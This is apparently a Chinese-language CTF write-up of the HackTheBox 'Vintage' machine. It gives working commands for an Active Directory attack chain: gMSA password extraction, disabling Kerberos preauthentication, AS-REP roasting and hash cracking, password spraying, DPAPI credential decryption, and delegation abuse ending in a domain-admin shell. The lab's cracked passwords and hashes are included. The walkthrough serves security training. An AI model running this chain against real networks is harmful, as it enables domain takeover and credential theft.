USER

题目提示内网账号密码 P.Rosa / Rosaisbest123

nmap -T4 -v -A -Pn 10.10.11.45 -oN vintage.txt

测试了 smb

nxc smb vintage.htb -u P.Rosa -p Rosaisbest123

rpc 无法连接

rpcclient -U P.Rosa //vintage.htb

导入 tgt 票据测试

timedatectl set-ntp off
ntpdate dc01.vintage.htb #相比rdate更好用
impacket-getTGT vintage.htb/P.Rosa:Rosaisbest123
export KRB5CCNAME=P.Rosa.ccache
nxc smb dc01.vintage.htb -d vintage.htb -k --use-kcache --rid-brute

bloodhound-python 跑域内环境

bloodhound-python -u P.Rosa -p Rosaisbest123 -d vintage.htb -k -c All -dc dc01.vintage.htb -ns 10.10.11.45 --zip

pre2k.py 跑一下这些用户是否有未授权登录

https://github.com/garrettfoster13/pre2k-TS
python3 /home/kali/Tool/pre2k-TS/pre2k.py unauth -d vintage.htb -dc-ip dc01.vintage.htb -inputfile users.txt -save

找到了 fs01 的未授权,同时自动保存了 tgt 票据

查看 fs01 的关系 FS01.VINTAGE.HTB 是组 DOMAIN [email protected] 的成员

组 DOMAIN [email protected] 可以检索GMSA [email protected] 的密码。

[email protected] 用于自动服务的密码管理)

export KRB5CCNAME=FS01\$.ccache #导入fs01的cache

查看文档,可以知道密码是存储在 gmsa 的 MSDS-ManagedPasswordInterval 属性内

利用 bloodAD 读取属性

python /home/kali/Tool/bloodyAD/bloodyAD.py -v DEBUG --host dc01.vintage.htb -d 'vintage.htb' -k --dc-ip 10.10.11.45 get object 'S-1-5-21-4024337825-2033394866-2055507597-1107' --attr msDS-ManagedPassword

ntlm hash

aad3b435b51404eeaad3b435b51404ee:7dc430b95e17ed6f817f69366f35be06

可以看见 gmsa 到 servicemanagers 有 addself,可以添加自己到组内

然后 servicemangers 对三个用户都有 genericall,完全控制

请求 gmsa 的 ticket,然后用 gmsa 的权限将 P.Rosa 加入到 servicemanagers

impacket-getTGT vintage.htb/GMSA01$ -hashes aad3b435b51404eeaad3b435b51404ee:7dc430b95e17ed6f817f69366f35be06
export KRB5CCNAME=GMSA01\$.ccache
python /home/kali/Tool/bloodyAD/bloodyAD.py -v DEBUG --host dc01.vintage.htb -d 'vintage.htb' -k --dc-ip 10.10.11.45 add groupMember "SERVICEMANAGERS" "P.Rosa"

然后请求新的P.Rosa 的 ticket

impacket-getTGT vintage.htb/P.Rosa:Rosaisbest123 -dc-ip dc01.vintage.htb
export KRB5CCNAME=P.Rosa.ccache

这里可以依靠新的P.Rosa 的 ticket 来使用 ldapsearch 查看来列出不需要 Kerberos 认证的 用户

ldapsearch -x -H ldap://10.10.11.45 -D "[email protected]" -w "Rosaisbest123" -b "DC=vintage,DC=htb" "(objectClass=user)" sAMAccountName | grep "sAMAccountName:" | cut -d " " -f 2 > users.txt

其实和原本的没什么差别

后面就是 Kerberos Roasting 攻击

impacket-GetNPUsers 查看不需要认证的用户 UF_DONT_REQUIRE_PREAUTH

impacket-GetNPUsers -dc-ip 10.10.11.45 -request -usersfile users.txt vintage.htb/

报错KDC_ERR_CLIENT_REVOKED,Kerberos 凭证已失效,即该用户的帐户或 Kerberos 凭证不再有效

然后 doesn't have UF_DONT_REQUIRE_PREAUTH 没有禁用预认证

python /home/kali/Tool/bloodyAD/bloodyAD.py -v DEBUG --host  dc01.vintage.htb -d 'vintage.htb' --dc-ip 10.10.11.45 -k add uac SVC_ARK -f DONT_REQ_PREAUTH
python /home/kali/Tool/bloodyAD/bloodyAD.py -v DEBUG --host  dc01.vintage.htb -d 'vintage.htb' --dc-ip 10.10.11.45 -k add uac SVC_LDAP -f DONT_REQ_PREAUTH
python /home/kali/Tool/bloodyAD/bloodyAD.py -v DEBUG --host  dc01.vintage.htb -d 'vintage.htb' --dc-ip 10.10.11.45 -k add uac SVC_SQL -f DONT_REQ_PREAUTH

再用 impacket-GetNPUsers 攻击

impacket-GetNPUsers -dc-ip 10.10.11.45 -request -usersfile users.txt vintage.htb/

这里 svc_sql 还是报错,忘记启用了

python /home/kali/Tool/bloodyAD/bloodyAD.py --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE

重新运行就可以了

破解一下

hashcat -a 0 -m 18200 hash.txt /usr/share/wordlists/rockyou.txt

爆破出密码 Zer0the0ne

kerbrute 枚举用户

/home/kali/Tool/kerbrute --dc vintage.htb -d vintage.htb -v passwordspray users.txt Zer0the0ne

请求C.Neri 的 ticket

impacket-getTGT vintage.htb/C.Neri:Zer0the0ne
export KRB5CCNAME=C.Neri.ccache

配置一下 /etc/krb5.conf 才能连接

拿到 user.txt

ROOT

whoami /user

使用 DPAPI 来获取密码

cd C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials
dir -h
download C4BB96844A5C9DD45D5B6A9859252BA6
C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
dir -h
download 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b

impacket-dpapi masterkey 导出 hash

impacket-dpapi masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne

impacket-dpapi credential 解密

impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a

解密出c.neri_adm密码Uncr4ck4bl3P4ssW0rd0312

查看一下c.neri_adm 的关系

delegatedadmins 组里又包含

将SVC_SQL 添加到DELEGATEDADMINS 组内

然后伪造SVC_SQL 的 spn 服务

python /home/kali/Tool/bloodyAD/bloodyAD.py -v DEBUG --host dc01.vintage.htb --dc-ip 10.10.11.45 -d "VINTAGE.HTB" -u c.neri_adm -p 'Uncr4ck4bl3P4ssW0rd0312' -k add groupMember "DELEGATEDADMINS" "SVC_SQL"
python /home/kali/Tool/bloodyAD/bloodyAD.py --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k set object "SVC_SQL" servicePrincipalName -v "cifs/fake"

获取更新后的票据

impacket-getTGT vintage.htb/SVC_SQL:Zer0the0ne -dc-ip dc01.vintage.htb
export KRB5CCNAME=SVC_SQL.ccache

这里如果报错,就再开启SVC_SQL

python /home/kali/Tool/bloodyAD/bloodyAD.py --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE

伪造 L.BIANCHI_ADM 请求 cifs/dc01.vintage.htb 的 ST

impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne'
export KRB5CCNAME=L.BIANCHI_ADM@[email protected]

使用新的票据执行 impacket-wmiexec

impacket-wmiexec -k -no-pass VINTAGE.HTB/[email protected]


"The quieter you become, the more you are able to hear."